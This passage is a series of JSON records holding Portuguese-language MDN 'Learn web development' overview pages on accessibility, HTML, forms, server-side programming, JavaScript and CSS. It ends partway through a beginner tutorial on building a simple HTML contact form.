é a acessibilidade - isso inclui quais grupos de pessoas devemos considerar e o motivo, quais ferramentas de acessibilidade são utilizadas para interagir com a web e como podemos fazer da acessibilidade web parte do nosso fluxo de desenvolvimento.\n\nHTML: A base para a acessibilidade\n\nBoa parte do conteúdo da Web pode ser 'acessível' apenas garantindo que as tags HTML sejam sempre usadas para a finalidade correta. Este artigo analisa detalhadamente como utilizar o HTML garantindo a máxima acessibilidade.\n\nCSS e JavaScript: accessibilidade e boas práticas (en-US)\n\nCSS e JavaScript, usados corretamente, também podem proporcionar experiências acessíveis na web, mas se mal utilizadas, podem prejudicar a navegação. Este artigo descreve como utilizar o CSS e JS de forma a garantir que mesmo conteúdos complexos sejam acessíveis.\n\nBásico de WAI-ARIA (en-US)\n\nContinuando to tópico anterior, não é facil fazer interfaces web com HTML e conteúdo dinâmico atualizado por JavaScript. O WAI-ARIA é uma tecnologia que pode ajudar com esses problemas, adicionando mais propriedades semanticas que navegadores e tecnologias assistivas podem reconhecer e usar para permitir que os usuários saibam o que está acontecendo na tela. Aqui mostraremos o básico destas técnicas para melhorar a acessibilidade.\n\nMultimedia acessível (en-US)\n\nOutra categoria de conteúdo que pode criar problemas de acessibilidade é a multimédia - Audio, vídeo e imagens precisam de alternativas textuais, assim poderão ser compreendidas por tecnologias assistivas de seus usuários. Este artigo detalha como.\n\nAccessibilidade Mobile (en-US)\n\nO acesso por dispositivos móveis e smartphones é muito popular, e plataformas como iOS e Android já possuem ferramentas bastante consolidadas, assim é importante considerar a acessibilidade do seu conteúdo também nestas plataformas. Este artigo faz considerações sobre acessibilidade mobile.\n\nAvaliações\n----------\n\nSolução de problemas\n\nNa avaliação deste módulo, disponibilizaremos um site com vários problemas de acessibilidade que você deve encontrar e corrigir.\n\nVeja também\n-----------\n\n* Comece a desenvolver aplicações web hoje — Marcy Sutton apresenta uma excelente série de video tutorials.\n* Recursos Universidade Deque — inclui codigos de exemplo, leitores de tela, e outros recursos interessantes.\n* Recursos webAIM — inlui guias, checklists, ferramentas e outras coisas."}
{"title":"Estruturando a web com HTML - Aprendendo desenvolvimento web","text":"Estruturando a web com HTML\n===========================\n\nPara construir websites, você deve conhecer sobre HTML — a tecnologia fundamental usada para definir a estrutura de uma página web. HTML é usado para especificar se o conteúdo da web deve ser reconhecido como um parágrafo, uma lista, um título, um link, uma imagem, um visualizador multimídia, um formulário ou um dos muitos outros elementos disponíveis ou até mesmo um novo elemento definido por você.\n\nPercurso de aprendizagem\n------------------------\n\nVocê deve, preferencialmente, iniciar sua jornada aprendendo HTML. Comece lendo Introdução ao HTML. Você pode então passar a aprender sobre tópicos mais avançados, tais como:\n\n* CSS e como usá-lo para estilizar o HTML (como por exemplo alterar o tamanho e a fonte usados, adicionar bordas e sombras, definir o layout da sua página com várias colunas, adicionar animações e outros efeitos visuais).\n* JavaScript e como usá-lo para adicionar funcionalidade dinâmica para páginas da web (como por exemplo encontrar sua localização e exibí-la em um mapa, fazer com que elementos da interface gráfica apareçam/desapareçam quando se pressiona um botão, salvar os dados do usuário localmente em seus computadores e muito mais).\n\nAntes de iniciar este tópico, você deve pelo menos ter uma familiaridade básica com o uso de computadores e com a web (por exemplo: apenas olhando para ele, consumindo o conteúdo). Você deve ter um ambiente básico de trabalho configurado como detalhado em Instalando os programas básicos e entender como criar e gerenciar arquivos, como detalhado em Lidando com arquivos — ambos fazem parte do nosso módulo para iniciantes Introdução à Web.\n\nRecomenda-se que você complete o módulo Introdução à Web antes de tentar este tópico, mas isto não é absolutamente necessário; muito do que é abordado no artigo HTML básico é também abordado no nosso módulo Introdução ao HTML, embora com muito mais detalhes.\n\nMódulos\n-------\n\nEste tópico contém os seguintes módulos, em uma ordem sugerida para trabalhar com eles. Você deve definitivamente começar com o primeiro módulo.\n\nIntrodução ao HTML\n\nEste módulo define o cenário, introduzindo você a conceitos e sintaxe importantes, procurando aplicar HTML ao texto, como criar hiperlinks e como usar HTML para estruturar uma página da web.\n\nMultimídia e incorporação\n\nEste módulo explora como usar HTML para incluir multimídia em suas páginas web, incluindo as diferentes formas que as imagens podem ser inseridas e como incorporar vídeo, áudio e até mesmo outras páginas inteiras.\n\nTabelas HTML\n\nRepresentar dados tabulares em uma página da web de maneira compreensível e acessível pode ser um desafio. Este módulo abrange a marcação básica de tabelas, além de outros recursos mais complexos, tais como a implementação de legendas e resumos.\n\nResolvendo problemas comuns com HTML\n------------------------------------\n\nUsar HTML para resolver problemas comuns fornece links para seções com conteúdos que explicam como usar HTML para resolver problemas muito comuns ao criar uma página da web: lidar com títulos, adicionar imagens ou vídeos, enfatizar conteúdo, criar um formulário básico, etc.\n\nVeja também\n-----------\n\nFormulários HTML\n\nEste módulo fornece uma série de artigos que ajudarão você a dominar o essencial dos formulários da web. Os formulários web são uma ferramenta muito poderosa para interagir com os usuários - geralmente são usados para coletar dados dos usuários ou permitir que eles controlem uma interface do usuário. No entanto, por razões históricas e técnicas, nem sempre é óbvio como usá-las em todo o seu potencial. Abordaremos todos os aspectos essenciais dos formulários da Web, incluindo marcação de sua estrutura HTML, controles de estilo, validação de dados e envio de dados ao servidor.\n\nHTML (Linguagem de Marcação de HiperTexto)\n\nO principal ponto de entrada para a documentação HTML no MDN, incluindo referências detalhadas de elementos e atributos — se você quiser saber quais atributos um elemento possui ou quais valores tem um atributo, por exemplo, este é um ótimo lugar para começar."}
{"title":"Formulários da Web - Trabalhando com dados do usuário - Aprendendo desenvolvimento web","text":"Formulários da Web - Trabalhando com dados do usuário\n=====================================================\n\nEste guia tem uma série de artigos que vão ajudar você a ficar craque em HTML forms. HTML forms são ferramentas poderosas para interagir com usuários; contudo, por razões técnicas e históricas, nem sempre é óbvio como usá-los em seu pleno potencial. Neste guia, vamos cobrir todos os aspectos dos HTML forms, da estrutura ao estilo, do manuseio de dados à widgets personalizados. Você vai aprender a desfrutar do grande poder que elas lhes oferecem!\n\nPré-requisitos\n--------------\n\nAntes de iniciar este guia, você deve estar familiarizado com os conceitos da nossa Introdução ao HTML.\n\n**Nota:** **Dica**: Se você está usando um computador/tablet/outro aparelho onde você não pode criar seus próprios arquivos, você pode testar (a maior parte) dos códigos de exemplo em uma ferramenta online como JSBin ou Thimble.\n\nGuias básicos\n-------------\n\nOs seguintes guias te ensinarão todo o básico de formulários HTML, alcançando alguns tópicos ligeiramente mais avançados no caminho.\n\nMeu primeiro formulário HTML (en-US)\n\nO primeiro artigo na série te instruirá em sua primeira vez criando um formulário HTML, incluindo o projeto/desenho de um formulário simples, implementação usando os elementos HTML corretos, estilização bem básica com CSS, e como os dados são enviados para um servidor.\n\nComo estruturar um formulário HTML (en-US)\n\nAgora que o básico não é mais problema, daremos uma olhada mais aprofundada nos elementos usados para dar estrutura e significado para as diferentes partes de um formulário.\n\nOs form widgets nativos (en-US)\n\nVeremos a funcionalidade de diferentes form widgets em detalhe, observando quais opções estão disponíveis para coletar diferentes tipos de dados.\n\nEnviando e recuperando dados (en-US)\n\nEste artigo mostra o que acontece quando um usuário submete (envia) um formulário — para onde os dados vão, e o que fazer quando ele chegar lá? Também algumas das preocupações com segurança envolvida ao enviar dados em um formulário.\n\nValidação de dados nos formulários HTML (en-US)\n\nEnviar os dados não é o suficiente — também precisamos garantir que os dados que o usuário preenche num formulário está no formato correto que precisamos para processá-los com sucesso, e que não quebre nossas aplicações. Também queremos ajudar nossos usuários a preencher os formulários corretamente e não se sentirem frustrados ao usar nossos apps. Validação de dados nos ajuda a alcançar esses objetivos — este artigo te diz o que precisa saber.\n\nGuias avançados\n---------------\n\nEstes guias passam por algumas técnicas mais avançadas, que você achará útil aprender quando já tiver dominado o básico.\n\nComo criar widgets HTML form personalizados (en-US)\n\nVocê encontrará alguns casos onde os widgets nativos não fornecem o que você precisa, por exemplo em função de estilo ou funcionalidade. Nestes casos, você precisará construir seu próprio widget de formulário a partir de HTML puro. Neste artigo explicamos como você pode fazer isso e o que precisa considerar ao fazer isso, com um estudo de caso prático.\n\nEnviando HTML forms através do JavaScript (en-US)\n\nEste artigo mostra formas de usar um formulário para montar um HTTP request e enviá-lo via JavaScript personalizado, em vez da forma de submissão padrão. Também apresenta razões pelas quais você quereria fazer isso, e as implicações de fazer dessa forma. (Veja também Usando o objeto FormData.)\n\nFormulários HTML para browsers antigos (en-US)\n\nAborda detecção de funcionalidades, etc. Deveria ser movido para o módulo de testes multi-browser, já que a mesma coisa é abordada lá.\n\nNovidades em formulários no HTML5 (en-US)\n\nEste artigo provê uma referência às novas adições aos formulários HTML na especificação HTML5.\n\nGuias de estilização de formulários\n-----------------------------------\n\nEstes guias para estilizar formulários com CSS realmente deveriam estar nos tópicos sobre CSS, mas estamos mantendo-os aqui por enquanto até uma oportunidade apropriada de movê-los.\n\nEstilizando formulários HTML (en-US)\n\nEste artigo fornece uma introdução à personalização de estilos de formulário com CSS, incluindo todo o básico que você precisa para tarefas básicas de estilização.\n\nEstilos avançados para HTML forms (en-US)\n\nAqui vemos algumas técnicas mais avançadas de estilização de formulários que precisam ser usadas quando tiver de lidar com alguns dos elementos mais difíceis de personalizar.\n\nTabela de compatibilidade das Propriedades dos widgets (en-US)\n\nEste último artigo fornece uma referência prática que te permite procurar quais propriedades CSS são compatíveis com quais elementos de formulário.\n\nAvaliações\n----------\n\nA definir.\n\nVeja também\n-----------\n\n* Referência de elementos de formulário HTML"}
{"title":"Programação de site do lado do servidor - Aprendendo desenvolvimento web","text":"Programação de site do lado do servidor\n=======================================\n\nO tópico de ***Websites Dinâmicos - Programação do lado do servidor*** é uma série de módulos que mostram como criar sites dinâmicos; sites que fornecem informações personalizadas em resposta a solicitações HTTP. Os módulos fornecem uma introdução genérica à programação do lado do servidor, juntamente com guias específicos de nível iniciante sobre como usar os frameworks web Django (Python) e Express (Node.js / JavaScript) para criar aplicativos básicos.\n\nA maioria dos principais sites utilizam algum tipo de tecnologia do lado do servidor para exibir dinamicamente dados diferentes conforme necessário. Por exemplo, imagine quantos produtos estão disponíveis na Amazon e imagine quantos posts foram escritos no Facebook? Exibir tudo isso usando páginas estáticas completamente diferentes seria completamente ineficiente, então, em vez disso, esses sites exibem modelos estáticos (construídos usando HTML, CSS, e JavaScript), e então atualizam dinamicamente os dados exibidos dentro desses modelos quando necessário, por exemplo, quando você quiser ver um produto diferente na Amazon.\n\nNo mundo moderno do desenvolvimento web, aprender sobre o desenvolvimento do lado do servidor é altamente recomendado.\n\nCaminho de aprendizagem\n-----------------------\n\nComeçar a usar a programação do lado do servidor geralmente é mais fácil do que com o desenvolvimento do lado do cliente, porque sites dinâmicos tendem a executar muitas operações similares (recuperando dados de um banco de dados e exibindo-os em uma página, validando dados inseridos pelo usuário e salvando-os em um banco de dados, verificando permissões de usuários e registrando usuários, etc.) e são construídos usando estruturas da Web que facilitam essas e outras operações comuns de servidor da Web.\n\nUm conhecimento básico de conceitos de programação (ou de uma linguagem de programação específica) é útil, mas não essencial. Semelhantemente, a especialização em codificação do lado do cliente não é necessária, mas um conhecimento básico ajudará você a trabalhar melhor com os desenvolvedores criando seu \"front end\" da Web do lado do cliente.\n\nVocê precisará entender \"como a web funciona\". Recomendamos que você leia primeiro os seguintes tópicos:\n\n* O que é um servidor web?\n* Qual software eu preciso para construir um website?\n* Como você faz o upload de arquivos para um servidor web?\n\nCom essa compreensão básica, você estará pronto para percorrer os módulos desta seção.\n\nModulos\n-------\n\nEste tópico contém os seguintes módulos. Você deve começar com o primeiro módulo e depois seguir para um dos módulos seguintes, que mostram como trabalhar com duas linguagens do lado do servidor muito populares usando estruturas da Web apropriadas.\n\nPrimeiros passos de programação do site do lado do servidor\n\nEste módulo fornece informações agnósticas sobre a tecnologia do servidor sobre programação de sites do lado do servidor, incluindo respostas a perguntas fundamentais de programação do lado do servidor — \"o que é isso\", \"como ela difere da programação do lado do cliente\", e \"porque é tão útil\" — e uma visão geral de alguns dos mais populares frameworks do lado do servidor e orientações sobre como selecionar o mais adequado para o seu site. Por fim, fornecemos uma seção introdutória sobre segurança do servidor da web.\n\nFramework Web Django (Python)\n\nO Django é um framework web do lado do servidor extremamente popular e cheio de recursos, escrito em Python. O módulo explica por que o Django é uma estrutura de servidor da Web tão boa, como configurar um ambiente de desenvolvimento e como executar tarefas comuns com ele.\n\nFramework Web Express (Node.js/JavaScript)\n\nO Express é um framwork web popular, escrito em JavaScript e hospedado no ambiente de tempo de execução node.js. O módulo explica alguns dos principais benefícios dessa estrutura, como configurar seu ambiente de desenvolvimento e como executar tarefas comuns de desenvolvimento e implantação da web."}
{"title":"JavaScript - Aprendendo desenvolvimento web","text":"JavaScript\n==========\n\nJavaScript é uma linguagem de programação que permite implementar funcionalidades mais complexas em páginas web. Sempre que uma página web faz mais do que apenas mostrar informações estáticas para você - ela mostra em tempo real conteúdos atualizados, mapas interativos, animações gráficas em 2D/3D, vídeos, etc. - você pode apostar que o Javascript provavelmente está envolvido.\n\nO caminho para o aprendizado\n----------------------------\n\nO JavaScript não é tão fácil de aprender como outras linguagens, como HTML e CSS, que são outros dois pilares do desenvolvimento front-end. Antes de tentar aprender JavaScript, é altamente recomendável que você aprenda e se familiarize com pelo menos estas duas tecnologias primeiro. Você pode começar através dos seguintes módulos:\n\n* Começando na Web\n* Introdução ao HTML\n* Introdução ao CSS\n\nPossuir experiência em outras linguagens de programação pode também ser útil.\n\nDepois de aprender o básico de JavaScript, você estará apto a estudar tópicos mais avançados, como:\n\n* JavaScript aprofundado, como ensinado em Guia JavaScript\n* Referências API Web (en-US)\nMódulos\n-------\n\nEste tópico contém os seguintes módulos, em uma ordem que sugerimos para estudá-los.\n\nPrimeiros passos em JavaScript\n\nEm nosso primeiro módulo JavaScript, primeiro responderemos algumas questões fundamentais como \"o que é JavaScript?\", \"Como ele se parece?\" E \"o que ele pode fazer?\", antes de passar para sua primeira experiência prática de escrever JavaScript. Depois disso, discutimos alguns recursos chave do JavaScript em detalhes, como variáveis, cadeias de caracteres, números e matrizes.\n\nBlocos de codigo JavaScript\n\nNeste módulo, continuaremos a falar sobre os principais recursos fundamentais do JavaScript, voltando nossa atenção para os tipos mais comuns de blocos de código\\*\\*,\\*\\* como instruções condicionais, funções e eventos. Você já viu essas coisas no curso, mas apenas de passagem, aqui discutiremos tudo explicitamente.\n\nIntrodução a objetos em JavaScript\n\nEm JavaScript, a maioria das coisas são objetos, desde seus principais recursos até as APIs do navegador. Você pode até criar seus próprios objetos.É importante entender a natureza orientada a objetos do JavaScript se você quiser ir mais longe com seu conhecimento da linguagem e escrever um código mais eficiente, portanto, fornecemos este módulo para ajudá-lo. Aqui ensinamos a teoria e a sintaxe de objetos em detalhes, observamos como criar seus próprios objetos e explicamos quais são os dados JSON e como trabalhar com eles.\n\n**JavaScript Assíncrono**\n\nNeste módulo, examinamos o JavaScript assíncrono, por que é importante e como ele pode ser usado para lidar efetivamente com possíveis operações de bloqueio, como a busca de recursos de um servidor.\n\nAPI's Web do lado cliente\n\nAo escrever JavaScript para sites ou aplicativos da Web, você não vai muito longe antes de começar a usar APIs - interfaces para manipular diferentes aspectos do navegador e do sistema operacional em que o site está sendo executado, ou até dados de outros sites ou serviços. Neste módulo, vamos explorar o que são as APIs e como usar algumas das APIs mais comuns que você encontrará com frequência em seu trabalho de desenvolvimento.\n\nAprofundando\n------------\n\nUma vez que você se acostumar com o mundo do JavaScript aqui estão alguns outros módulos em que você pode mergulhar:\n\nBiblioteca de referência JavaScript\n\nEm nossa extensa biblioteca de referência você encontrará cada aspecto de Javascript tratado em detalhes: objetos globais, operadores, declarações e funções.\n\nIntrodução à Orientação a Objetos (OO) em JavaScript (en-US)\n\nIntrodução aos conceitos de Programação orientada a objetos em JavaScript.\n\nResolvendo problemas comuns com Javascript\n------------------------------------------\n\nUse Javascript para resolver problemas comuns, este link proporciona contéudos explicativos de como usar o JavaScript para solucionar problemas muito comuns ao criar uma página da Web.\n\nVeja também\n-----------\n\n* JavaScript: O ponto de entrada principal para a documentação básica do JavaScript no MDN - é aqui que você encontrará extensos documentos de referência em todos os aspectos do JavaScript e alguns tutoriais avançados destinados a JavaScripters experientes.\n* Matemática do programador: Uma excelente série de vídeos que ensina a matemática necessária para ser um bom programador, por Keith Peters."}
{"title":"Introdução à Web - Aprendendo desenvolvimento web","text":"Introdução à Web\n================\n\n*Introdução à Web* é uma série concisa que apresenta os aspectos práticos do desenvolvimento web. Você configurará as ferramentas necessárias para construir uma página web simples e publicará seu próprio código.\n\nA história do seu primeiro website\n----------------------------------\n\nÉ muito trabalhoso criar um site profissional, então se você é um iniciante em desenvolvimento web, nós encorajamos você a começar pequeno. Você não vai construir outro Facebook imediatamente, mas não é difícil colocar seu próprio site online, então vamos começar por aí.\n\nPor meio dos artigos listados abaixo, você vai sair do nada e vai construir sua primeira página online. Vamos lá!\n\n### Instalando os programas básicos\n\nQuando se trata de ferramentas para construir um site, há muito a se escolher. Se você está começando, pode ficar confuso com a variedade de editores de código, frameworks e ferramentas de teste existentes. Em Instalando os programas básicos nós vamos te mostrar passo a passo como instalar apenas o software necessário para começar o desenvolvimento web básico.\n\n### Como será o seu site?\n\nAntes de começar a escrever o código do seu site, você deve planejá-lo primeiro. Quais informações você vai disponibilizar? Quais fontes e cores você irá usar? Em Como será seu site? Nós fornecemos um método simples que você pode seguir para planejar o conteúdo e design do seu site.\n\n### Lidando com arquivos\n\nUm site consiste em muitos arquivos: conteúdo de texto, código, folhas de estilo, conteúdo de mídia etc. Ao criar um site, você precisa reunir esses arquivos em uma estrutura que faça sentido e garantir que eles possam se conectar. Lidando com arquivos explica como configurar uma estrutura de arquivos para o seu site e sobre quais problemas você deve estar ciente.\n\n### HTML básico\n\nLinguagem de Marcação de Hypertexto (HTML - Hypertext Markup Language) é o código que você usa para estruturar seu conteúdo web, dando significado e propósito. Por exemplo, meu conteúdo é organizado em parágrafos, ou em uma lista de pontos? Eu tenho imagens na minha página? Eu tenho uma tabela de dados? Sem pressionar você, o HTML básico provê informação suficiente para você se familiarizar com HTML.\n\n### CSS básico\n\nFolhas de Estilo em Cascata (CSS - Cascading Stylesheets) é o código que você usa para dar estilo ao seu site. Por exemplo, você quer que seu texto seja preto ou vermelho? Onde o conteúdo deve aparecer na tela? Quais imagens ou cores de fundo devem ser usadas para decorar seu site? CSS básico provê o necessário para você começar.\n\n### JavaScript básico\n\nJavaScript é a linguagem de programação que você usa para adicionar recursos interativos ao seu site. Alguns exemplos podem ser jogos, coisas que acontecem quando botões são pressionados ou dados que são inseridos em formulários, efeitos dinâmicos de estilo, animação e muito mais. JavaScript básico vai te dar uma ideia do que é possível com essa excitante linguagem de programação e como começar a usá-la.\n\n### Publicando seu site\n\nUma vez que você tenha acabado de escrever seu código e organizado os arquivos que compõem seu site, você precisa disponibilizar tudo isso online para que as pessoas possam achá-lo. Publicando seu site descreve como colocar seu código online com o mínimo de esforço.\n\n### Como a web funciona\n\nQuando você acessa seu site favorito, um monte de coisas complicadas acontecem em segundo plano que você pode não conhecer. Como a web funciona mostra o que acontece quando você visualiza um site no seu computador.\n\nVeja também\n-----------\n\n* Web Demystified: Uma grande série de vídeos explicando os fundamentos da web, destinados a levar iniciantes ao desenvolvimento web. Criado por Jérémie Patonnier..\n* A web e seus padrões: Este artigo fornece algumas informações úteis na Web - como surgiu, quais são as tecnologias padrão da Web, como elas funcionam juntas, por que \"desenvolvedor da Web\" é uma ótima carreira para escolher e que tipos de práticas recomendadas você aprenderá sobre o curso."}
{"title":"Aprenda a estilizar HTML utilizando CSS - Aprendendo desenvolvimento web","text":"Aprenda a estilizar HTML utilizando CSS\n=======================================\n\nCascading Stylesheets — ou CSS — é a primeira tecnologia que você deve aprender após o HTML. Enquanto o HTML é utilizado para definir a estrutura e semântica do seu conteúdo, o CSS é usado para estilizá-lo e desenhá-lo. Por exemplo, você pode usar o CSS para alterar a fonte, cor, tamanho e espaçamento do seu conteúdo, dividí-lo em multiplas colunas, ou adicionar animações e outros recursos decorativos.\n\nPercurso de aprendizagem\n------------------------\n\nVocê deveria aprender o básico de HTML antes de tentar algo com CSS. Nós recomendamos que você comece através da nossa Introdução ao HTML.Neste módulo você irá aprender sobre:\n\n* CSS, começando com a introdução ao CSS\n* Módulos HTML mais avançados\n* JavaScript, e como utiliza-lo para adicionar funcionalidade dinâmica as páginas da web\n\nUma vez que voce entendeu os Fundamentos do HTML, Nós recomendamos que você aprenda HTML e CSS ao mesmo tempo, movendo-se para trás e para frente entre os dois temas. Isso por que HTML é muito mais interessante com CSS e você não pode aprender realmente CSS sem conhecer HTML.\n\nAntes de iniciar este tópico, você também deve ter ao menos familiaridade com o uso de computadores, e utilizar a Web passivamente (isto é, apenas navegando e consumindo conteúdo.) Você deve ter uma configuração básica de ambiente de trabalho, conforme detalhado no Instalando o software básico, e entender como criar e gerenciar arquivos, conforme detalhado em Lidando com arquivos — ambos são partes do nosso Como começar com a web módulo completo de iniciante.\n\nÉ recomendável que você trabalhe através do Como começar com a web antes de começar este tema. Contudo, não é absolutamente necessário; ja que muito do que é abordado no artigo básico de CSS também é coberto em nossa introdução ao CSS, embora com muito mais detalhes.\n\nMódulos\n-------\n\nEste tópico contém os seguintes módulos em uma ordem sugerida para trabalhar através deles. Você deve definitivamente começar com o primeiro.\n\nIntrodução ao CSS\n\nEste módulo é uma introdução com as noções básicas de como CSS funciona, incluindo seletores e propriedades, escrever regras CSS, aplicando CSS para HTML, como especificar comprimento, cor e outras unidades em CSS, controlar cascatas e heranças, noções básicas de box model e depuração CSS.\n\nEstilo de texto\n\nAqui nós olhamos os fundamentos do estilos de texto, incluindo a configuração da fonte, negrito, itálico, linha e espaçamento das letras, além de sombras e outros componentes de texto. Nós usamos este módulo para personalizar fontes para sua página, e estilizar listas e links.\n\nCaixas de estilo (en-US)\n\nPróximo, procuramos as caixas de estilo, um dos passos fundamentais para elaborar uma página web. Neste módulo, nós recapitulamos box model para então controlarmos o layout por configuração de padding, borders e margins, configurações personalizada do background colors , imagens e outros componentes, componentes elegantes tais como sombras e filtros das caixas.\n\nCSS layout\n\nNeste ponto, nós olharemos os fundamentos CSS, como estilizar o texto, e como estilizar e manipular as caixas com conteudos alocados. Agora é hora de olhar como pôr suas caixas no lugar certo em relação ao viewport, e outros. Nós temos cobertos os pré-requisitos necessários para então agora podemos aprofundar no layout CSS, olhar em diferentes configurações de telas, tradicionais métodos envolvendo float e posicionamento, além de novos ferramentas de flanged layouts como flexbox, CSS Grid e posicionamento, alem de algumas tecnicas que voce ainda pode querer conhecer.\n\nDesign Responsivo (TBD)\n\nCom tantos tipos diferentes de dispositivos capazes de navegar pela internet nos dias de hoje, design web responsivo (en-US) (RWD) se tornou uma habilidade primordial para o desenvolvimento web. Esse módulo irá cobrir os principios básicos e ferramentas do RWD, explicar como aplicar diferentes arquivos CSS à um documento a depender de dos recursos do dispositivo como largura de tela, orientação, e resolução, e explorar tecnologias disponíveis para servir diferentes vídeos e imagens dependendo de tais recursos.\n\nAnimações e transformações (TBD)\n\nDuas das áreas mais interessantes do CSS são a habilidade de manipular elementos (ex. mover, rotacionar e inclinação), e animar elementos suavemente (ex. de uma cor ou posição para outra). Esse módulo explora como implementar as transformações e animações.\n\nResolvendo problemas de CSS comuns\n----------------------------------\n\nUse CSS para resolver problemas comuns (en-US) proporcione links para seções de conteúdo explicando como usar CSS para resolver problemas muito comuns na criação de páginas web.\n\nPara começar, primeirmamente você aplicara cores aos elementos HTML e seus backgrounds; alterará o tamanho, forma e posição dos elementos; definira e adicionara bordas aos elementos. Não há muito o que você não podera fazer depois que tiver uma compreensão solida até mesmo sobre o basico do CSS. Uma das melhores coisas sobre aprender CSS é que uma vez que voce conhece os fundamentos, normalmente voce tera uma boa noção do que pode ou não fazer, mesmo que não saiba como fazer aquilo ainda.\n\nVeja também\n-----------\n\nCSS no MDN\n\nO principal ponto de entrada para documentação CSS no MDN, onde voce encontra desde referências detalhadas a tutoriais avançados. Quer saber todos os valores que uma propriedade pode ter? Este é o melhor lugar\n\nReferência CSS\n\nUm guia de referência abrangente para todos os muitos recursos da linguagem CSS - se você quiser saber quais valores uma propriedade pode tomar, por exemplo, este é um ótimo lugar para começar."}
{"title":"Meu primeiro formulário HTML - Aprendendo desenvolvimento web","text":"Meu primeiro formulário HTML\n============================\n\nEste é um artigo introdutório para formulários HTML. Através de um simples formulário de contato, nós veremos os requisitos básicos para construir formulários HTML. Esse artigo assume que você não sabe nada sobre formulários HTML, mas presume que você conhece o básico de HTML e CSS.\n\nAntes de começarmos\n-------------------\n\n### O que são formulários HTML?\n\nFormulários HTML são um dos principais pontos de interação entre um usuário e um web site ou aplicativo. Eles permitem que os usuários enviem dados para o web site. Na maior parte do tempo, os dados são enviados para o servidor da web, mas a página da web também pode interceptar para usá-los por conta própria.\n\nUm formulário HTML é feito de um ou mais widgets. Esses widgets podem ser campos de texto (linha única ou de várias linhas), caixas de seleção, botões, checkboxes ou radio buttons. A maior parte do tempo, estes elementos são emparelhados com uma legenda que descreve o seu objetivo.\n\n### O que você precisa para trabalhar com formulários?\n\nVocê não precisa de nada mais do que o que é requisitado para trabalhar com HTML: Um editor de texto e um navegador. É claro, que se você esta acostumado a usá-los você pode ter vantagens de uma IDE completa como Visual Studio, Eclipse, Aptana, etc., mas cabe somente a você.\n\nA principal diferença entre um formulário de HTML e um documento regular de HTML é que, maioria das vezes, o dado coletado é enviado ao servidor. Nesse caso, você precisa configurar um servidor web para receber e processar os dados. Como configurar um servidor está além do escopo deste artigo, mas se você quer saber mais, consulte o artigo dedicado a este tema: Envio e recuperação de dados do formulário (en-US).\n\nDesenhando seu formulário\n-------------------------\n\n Antes de começar a codificar, é sempre melhor dar um passo atrás e tomar o tempo para pensar sobre o seu formulário. Desenhando um rascunho rápido irá ajudar a definir o conjunto correto de dados que você quer perguntar ao usuário. De um ponto de vista da experiência do usuário (UX), é importante lembrar que quanto maior o seu formulário, maior o risco de perder os usuários. Mantenha o formuário simples e mantenha o foco: **peça apenas o que é absolutamente necessário**.\n A criação de formulários é um passo importante quando você está construindo um site ou um aplicativo. Está além do escopo deste artigo cobrir as formas, mas se você quiser se aprofundar neste tópico você deve ler os seguintes artigos:\n\n* A Smashing Magazine tem ótimos artigos sobre UX nos formulários, mas talvez o mais importante é o Extenso Guia para a usabilidade em formulários Web.\n* UXMatters também é um recurso muito atencioso com bons conselhos de melhores práticas básicas para conceitos complexos, tais como formulários de várias páginas.\n\nNeste artigo vamos construir um formulário de contato simples. Vamos fazer um esboço.\n\n![The form to build, roughly sketch](/files/4579/form-sketch-low.jpg)\n\nO nosso formulário terá três campos de texto e um botão. Basicamente, pedimos ao usuário o seu nome, seu e-mail e a mensagem que deseja enviar. Ao apertar o botão apenas irá enviar os dados para o servidor web.\n\nSujar as mãos com HTML\n----------------------\n\nOk, agora estamos prontos para ir para o código HTML do nosso formulário. Para construir o nosso formulário de contato, vamos utilizar os seguintes elementos `<form>` (en-US) , `<label>` , `<input>` , `<textarea>` , e `<button>` .\n\n### O Elemento `<form>` (en-US)\n\nTodos formulários HTML começam com um elemento `<form>` (en-US) como este:\n\n\n```html\n<form action=\"/pagina-processa-dados-do-form\" method=\"post\"></form>\n```\n\n\nEste elemento define um formulário. É um elemento de container como um elemento `<div>` ou `<p>` , mas ele também suporta alguns atributos específicos para configurar a forma como o formulário se comporta. Todos os seus atributos são opcionais, mas é considerada a melhor prática sempre definir pelo menos o atributo `action` e o atributo `method`.\n\n* O atributo ***action*** define o local (uma URL) em que os dados recolhidos do formulário devem ser enviados.\n* O atributo ***method*** define qual o método HTTP para enviar os dados (ele pode ser \"**GET**\" ou \"**POST**\" (veja as diferenças aqui).\n\nSe você quiser se aprofundar em como esses atributos funcionam, está detalhado no artigo Enviando e recebendo dados de um formulário (en-US)\n\n### Adicionar campos com os elementos `<label>` , `<input>` , e `<textarea>`\n\nO nosso formulário de contato é muito simples e contém três campos de texto, cada um com uma etiqueta. O campo de entrada para o nome será um campo básico texto de linha única(\"input\"); o campo de entrada do e-mail será um campo de texto com uma única linha(\"input\") que vai aceitar apenas um endereço de e-mail; o campo de entrada para a mensagem será um campo de texto de várias linhas(\"textarea\").\n\nEm termos de código HTML, teremos algo assim:\n\n\n```html\n<form action=\"/pagina-processa-dados-do-form\" method=\"post\">\n  <div>\n    <label for=\"nome\">Nome:</label>\n    <input type=\"text\" id=\"nome\" />\n  </div>\n  <div>\n    <label for=\"email\">E-mail:</label>\n    <input type=\"email\" id=\"email\" />\n  </div>\n  <div>\n    <label for=\"msg\">Mensagem:</label>\n    <textarea id=\"msg\"></textarea>\n  </div>\n</form>\n```\n\n\nOs elementos `<div>` estão lá para estruturar nosso código e deixar a estilização mais fácil (ver abaixo). Observe o uso do atributo ***for*** em todos os elementos `<label>` ; é uma maneira para vincular uma ***label*** à um campo do formulário. Este atributo faz referência ao ***id*** do campo correspondente. Há algum benefício para fazer isso, é a de permitir que o usuário clique no rótulo para ativar o campo correspondente. Se você quer uma melhor compreensão dos outros benefícios deste atributo, tudo é detalhado no artigo: How to structure an HTML form (en-US)(en).\n\nNo elemento `<input>` , o atributo mais importante é o atributo `type`. Esse atributo é extremamente importante porque define a forma como o elemento `<input>` se comporta. Ele pode mudar radicalmente o elemento, então preste atenção a ele. Se você quiser saber mais sobre isso, leia o artigo native form widgets (en-US). Em nosso exemplo, nós usamos somente o `type=\"text\"`, valor padrão para este atributo. Ele representa um campo de texto com uma única linha que aceita qualquer tipo de texto sem controle ou validação. Nós também usamos o `type=\"email\"` que define um campo de texto com uma única linha que só aceita um endereço de e-mail bem-formados. Este último valor torna um campo de texto básico em uma espécie de campo \"inteligente\", que irá realizar alguns testes com os dados digitados pelo usuário. Se você quiser saber mais sobre a validação de formulário, detalharemos melhor no artigo Validação de dados de formulário (en-US).\n\nPor último, mas não menos importante, observe a sintaxe de `<input />` e 